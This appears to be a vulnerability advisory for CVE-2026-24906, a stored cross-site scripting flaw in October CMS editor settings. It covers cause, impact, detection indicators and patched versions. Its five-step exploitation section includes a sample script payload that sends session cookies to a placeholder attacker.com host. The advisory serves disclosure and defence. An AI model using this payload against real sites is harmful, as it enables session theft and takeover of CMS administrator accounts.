CVE-2026-24906: 
PHP vulnerability analysis and mitigation

CVE-2026-24906 is a Stored Cross-Site Scripting (XSS) vulnerability in October CMS's Backend Editor Settings, specifically in the Markup Classes fields (paragraph styles, inline styles, table styles, etc.). These fields failed to sanitize input to valid CSS class name characters, allowing malicious values to be rendered unsanitized in Froala editor dropdown menus and enabling JavaScript execution when any backend user opened a RichEditor. The vulnerability affects October CMS versions up to and including 3.7.13 and versions 4.0.0 through 4.1.9 (the october/system Composer package). It was disclosed on April 14, 2026, and has a CVSS v3.1 base score of 5.4 (Medium) (GitHub Advisory, October CMS Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting): the Backend Editor Settings did not validate or sanitize Markup Classes field values to restrict them to valid CSS class name characters (GitHub Advisory). An authenticated attacker with editor settings permissions can inject arbitrary JavaScript into these fields; the malicious payload is stored server-side and subsequently rendered unsanitized within Froala editor dropdown menus whenever any backend user opens a RichEditor component. Exploitation requires low-privilege authenticated backend access and passive user interaction (a victim opening any RichEditor), making it a network-accessible, stored XSS attack with a changed scope (October CMS Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser context of any backend user who opens a RichEditor, including superusers performing routine content editing tasks such as editing blog posts. The most significant risk is privilege escalation: if a superuser's session is hijacked via the injected script, the attacker could gain administrative control over the CMS. Confidentiality and integrity impacts are rated low (limited to the backend application scope), and there is no direct availability impact (GitHub Advisory, October CMS Advisory).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time (GitHub Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.065% (0.012% per GitHub Advisory), placing it in the 2nd percentile for exploitation likelihood within 30 days. Exploitation requires authenticated backend access with editor settings permissions, which significantly limits the attacker pool.

1. Gain authenticated access: Obtain backend credentials for an October CMS account that has editor settings permissions (e.g., a content editor or administrator role).
2. Navigate to Backend Editor Settings: Log into the October CMS backend and navigate to the Editor Settings configuration panel where Markup Classes fields are defined (e.g., paragraph styles, inline styles, table styles).
3. Inject malicious payload: Enter a crafted JavaScript payload into one of the Markup Classes fields instead of a valid CSS class name. For example, input a value such as "><script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent XSS vector that will survive storage and rendering.
4. Wait for victim interaction: The malicious value is stored server-side. When any backend user (including superusers) opens a RichEditor component — for example, while editing a blog post — the Froala editor renders the Markup Classes dropdown unsanitized, triggering JavaScript execution in the victim's browser.
5. Achieve objective: The executed script can steal session cookies, perform actions on behalf of the victim (including administrative actions), or escalate privileges by hijacking a superuser session (October CMS Advisory, GitHub Advisory).

• Logs: Unexpected or anomalous modifications to Backend Editor Settings (Markup Classes fields) in CMS audit logs, particularly entries containing HTML tags, script tags, or JavaScript event handlers rather than valid CSS class names.
• Network: Outbound HTTP requests from backend users' browsers to unknown external domains shortly after opening a RichEditor, potentially carrying session cookie data or other sensitive parameters.
• Application Behavior: Backend users reporting unexpected browser behavior, redirects, or pop-ups when editing content using the RichEditor component.
• Database: Markup Classes field values in the CMS database containing characters or strings inconsistent with valid CSS class names (e.g., <, >, script, onerror, javascript:).

October CMS has released patched versions 3.7.14 and 4.1.10 that fix this vulnerability by sanitizing Markup Classes field input to valid CSS class name characters. All users are strongly encouraged to upgrade to the latest patched version immediately. As a temporary workaround for those unable to upgrade, restrict editor settings permissions exclusively to fully trusted administrators to prevent lower-privileged users from injecting malicious values (October CMS Advisory, GitHub Advisory).

The vulnerability was reported by security researcher Chris Alupului (credited as Neosprings) and was published by October CMS maintainer daftspunk on April 14, 2026 (October CMS Advisory). No significant broader media coverage or notable community discussion has been identified beyond the official advisory.